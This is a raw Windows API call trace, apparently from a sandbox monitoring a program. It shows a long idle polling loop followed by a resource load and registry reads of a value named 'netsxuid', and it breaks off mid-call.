[0150.062] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.063] Sleep (dwMilliseconds=0x64) [0150.094] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.094] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=776502515) returned 1 [0150.094] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=776502698) returned 1 [0150.095] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.095] Sleep (dwMilliseconds=0x64) [0150.109] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.109] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=776551795) returned 1 [0150.109] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=776551994) returned 1 [0150.109] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.110] Sleep (dwMilliseconds=0x64) [0150.124] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.124] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=776605740) returned 1 [0150.125] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=776605921) returned 1 [0150.125] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.126] Sleep (dwMilliseconds=0x64) [0150.140] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.140] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=776658350) returned 1 [0150.140] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=776658532) returned 1 [0150.140] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.141] Sleep (dwMilliseconds=0x64) [0150.156] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.156] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=776714024) returned 1 [0150.156] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=776714202) returned 1 [0150.157] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.157] Sleep (dwMilliseconds=0x64) [0150.173] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.173] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=776772311) returned 1 [0150.173] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=776772494) returned 1 [0150.174] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.174] Sleep (dwMilliseconds=0x64) [0150.187] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.187] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=776818754) returned 1 [0150.187] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=776818935) returned 1 [0150.187] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.188] Sleep (dwMilliseconds=0x64) [0150.202] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.202] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=776871744) returned 1 [0150.202] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=776871939) returned 1 [0150.203] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.204] Sleep (dwMilliseconds=0x64) [0150.218] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.218] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=776925300) returned 1 [0150.218] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=776925481) returned 1 [0150.219] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.219] Sleep (dwMilliseconds=0x64) [0150.233] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.234] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=776978621) returned 1 [0150.234] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=776978801) returned 1 [0150.234] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.235] Sleep (dwMilliseconds=0x64) [0150.249] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.249] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=777031565) returned 1 [0150.249] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=777031745) returned 1 [0150.250] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.250] Sleep (dwMilliseconds=0x64) [0150.265] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.265] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=777086957) returned 1 [0150.265] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=777087138) returned 1 [0150.266] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.266] Sleep (dwMilliseconds=0x64) [0150.280] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.280] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=777138538) returned 1 [0150.280] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=777138721) returned 1 [0150.281] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.281] Sleep (dwMilliseconds=0x64) [0150.296] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.296] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=777191683) returned 1 [0150.296] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=777191865) returned 1 [0150.297] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.297] Sleep (dwMilliseconds=0x64) [0150.311] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.312] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=777244997) returned 1 [0150.312] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=777245196) returned 1 [0150.312] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.313] Sleep (dwMilliseconds=0x64) [0150.328] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.328] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=777301614) returned 1 [0150.328] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=777301796) returned 1 [0150.329] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.329] Sleep (dwMilliseconds=0x64) [0150.343] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.343] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=777351825) returned 1 [0150.343] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=777352008) returned 1 [0150.343] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.344] Sleep (dwMilliseconds=0x64) [0150.360] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.360] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=777409584) returned 1 [0150.360] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=777409756) returned 1 [0150.360] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.361] Sleep (dwMilliseconds=0x64) [0150.374] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.375] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=777460304) returned 1 [0150.375] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=777460486) returned 1 [0150.375] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.376] Sleep (dwMilliseconds=0x64) [0150.390] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.390] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=777512698) returned 1 [0150.390] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=777512882) returned 1 [0150.390] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.391] Sleep (dwMilliseconds=0x64) [0150.405] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.405] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=777565307) returned 1 [0150.405] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=777565491) returned 1 [0150.406] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.406] Sleep (dwMilliseconds=0x64) [0150.421] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.421] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=777618206) returned 1 [0150.421] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=777618404) returned 1 [0150.421] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.422] Sleep (dwMilliseconds=0x64) [0150.436] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.436] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=777671553) returned 1 [0150.436] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=777671737) returned 1 [0150.437] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.437] Sleep (dwMilliseconds=0x64) [0150.454] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.454] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=777732885) returned 1 [0150.454] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=777733067) returned 1 [0150.455] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.455] Sleep (dwMilliseconds=0x64) [0150.468] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.468] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=777778489) returned 1 [0150.468] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=777778688) returned 1 [0150.468] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.469] Sleep (dwMilliseconds=0x64) [0150.544] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.544] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=778041187) returned 1 [0150.545] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=778041320) returned 1 [0150.545] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.545] Sleep (dwMilliseconds=0x64) [0150.561] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.561] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=778097822) returned 1 [0150.561] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=778097947) returned 1 [0150.561] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.562] Sleep (dwMilliseconds=0x64) [0150.577] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.577] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=778151450) returned 1 [0150.577] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=778151571) returned 1 [0150.577] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.578] Sleep (dwMilliseconds=0x64) [0150.606] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.606] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=778250638) returned 1 [0150.606] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=778250832) returned 1 [0150.606] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.607] Sleep (dwMilliseconds=0x64) [0150.608] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.608] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=778259929) returned 1 [0150.609] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=778260110) returned 1 [0150.609] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.610] Sleep (dwMilliseconds=0x64) [0150.623] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.624] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=778311434) returned 1 [0150.624] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=778311619) returned 1 [0150.624] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.625] Sleep (dwMilliseconds=0x64) [0150.639] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.639] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=778364685) returned 1 [0150.639] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=778364883) returned 1 [0150.640] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.640] Sleep (dwMilliseconds=0x64) [0150.655] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.655] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=778418302) returned 1 [0150.655] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=778418537) returned 1 [0150.655] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.656] Sleep (dwMilliseconds=0x64) [0150.670] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.670] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=778471363) returned 1 [0150.670] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=778471544) returned 1 [0150.671] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.671] Sleep (dwMilliseconds=0x64) [0150.686] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.686] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=778524631) returned 1 [0150.686] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=778524832) returned 1 [0150.687] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.687] Sleep (dwMilliseconds=0x64) [0150.703] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.703] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=778583002) returned 1 [0150.703] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=778583173) returned 1 [0150.704] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.704] Sleep (dwMilliseconds=0x64) [0150.718] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.718] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=778635229) returned 1 [0150.719] FindResourceW (hModule=0x50000, lpName=0x96, lpType="BINARY") returned 0xf36c0 [0150.719] SizeofResource (hModule=0x50000, hResInfo=0xf36c0) returned 0x42 [0150.720] LoadResource (hModule=0x50000, hResInfo=0xf36c0) returned 0xf3a04 [0150.720] LockResource (hResData=0xf3a04) returned 0xf3a04 [0150.720] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\services", ulOptions=0x0, samDesired=0x20019, phkResult=0x2dd920 | out: phkResult=0x2dd920*=0x18c) returned 0x0 [0150.722] RegQueryValueExA (in: hKey=0x18c, lpValueName="netsxuid", lpReserved=0x0, lpType=0x0, lpData=0x2dd924, lpcbData=0x2dd91c*=0x100 | out: lpType=0x0, lpData=0x2dd924*=0x0, lpcbData=0x2dd91c*=0x100) returned 0x2 [0150.722] RegCloseKey (hKey=0x18c) returned 0x0 [0150.722] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SYSTEM\\CurrentControlSet\\Control", ulOptions=0x0, samDesired=0x20019, phkResult=0x2dd920 | out: phkResult=0x2dd920*=0x18c) returned 0x0 [0150.722] RegQueryValueExA (in: hKey=0x18c, lpValueName="netsxuid", lpReserved=0x0, lpType=0x0, lpData=0x2dd924, lpcbData=0x2dd91c*=0x100 | out: lpType=0x0, lpData=0x2dd924*=0x35, lpcbData=0x2dd91c*=0x9) returned 0x0 [0150.723] RegCloseKey (hKey=0x18c) returned 0x0 [0150.723] QueryPerformanceCounter (in: lpPerformanceCount=0x2df968 | out: lpPerformanceCount=0x2df968*=778651864) returned 1 [0150.723] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=778652047) returned 1 [0150.724] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.724] Sleep (dwMilliseconds=0x64) [0150.733] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.733] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=778684653) returned 1 [0150.733] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=778684812) returned 1 [0150.733] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.734] Sleep (dwMilliseconds=0x64) [0150.748] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.748] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=778737714) returned 1 [0150.748] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=778737870) returned 1 [0150.749] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.749] Sleep (dwMilliseconds=0x64) [0150.764] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.764] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=778791100) returned 1 [0150.764] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=778791259) returned 1 [0150.764] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.765] Sleep (dwMilliseconds=0x64) [0150.779] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.780] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=778844722) returned 1 [0150.780] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=778844880) returned 1 [0150.780] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.781] Sleep (dwMilliseconds=0x64) [0150.810] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.810] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=778949850) returned 1 [0150.810] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=778950273) returned 1 [0150.812] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.812] Sleep (dwMilliseconds=0x64) [0150.826] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.826] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=779004570) returned 1 [0150.826] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=779004751) returned 1 [0150.827] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.828] Sleep (dwMilliseconds=0x64) [0150.842] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.842] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=779058212) returned 1 [0150.842] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=779058393) returned 1 [0150.843] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.843] Sleep (dwMilliseconds=0x64) [0150.857] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.857] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=779111057) returned 1 [0150.858] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=779111239) returned 1 [0150.858] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.859] Sleep (dwMilliseconds=0x64) [0150.873] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.873] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=779164495) returned 1 [0150.873] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=779164678) returned 1 [0150.874] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.874] Sleep (dwMilliseconds=0x64) [0150.890] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.890] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=779221247) returned 1 [0150.890] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=779221429) returned 1 [0150.890] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 